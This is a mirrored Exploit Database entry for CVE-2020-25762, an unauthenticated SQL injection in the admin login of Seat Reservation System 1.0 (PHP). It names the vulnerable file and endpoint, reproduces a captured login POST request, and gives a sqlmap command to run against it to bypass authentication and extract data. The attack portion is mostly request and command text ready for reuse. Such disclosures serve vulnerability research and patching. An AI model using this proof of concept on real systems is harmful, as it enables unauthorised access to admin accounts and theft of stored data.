Seat Reservation System 1.0 – Unauthenticated SQL Injection

• Exploit Database
• 14 阅读

• 作者： Rahul Ramkumar
  日期： 2020-10-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48889/

• # Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection
  # Exploit Author: Rahul Ramkumar
  # Date: 2020-09-16
  # Vendor Homepage: www.sourcecodester.com
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
  # Version: 1.0
  # Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
  # CVE: CVE-2020-25762
  # Description
  
  The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious input in the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc.
  
  #POC
  
  1) Navigate to the admin login page
  
  Example:
  
  http://192.168.1.72/seat_reservation/admin/login.php
  
  2) Fill in dummy values for 'username' and 'password' fields and send the request via an HTTP intercept tool
  
  3) Save the request to file. Example, seat_reservation_sqli.req
  
  POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1
  Host: 192.168.1.72
  User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 32
  Origin: http://192.168.1.72
  DNT: 1
  Connection: close
  
  username=admin&password=dummy
  
  4) Run SQLmap on the file,
  
  sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10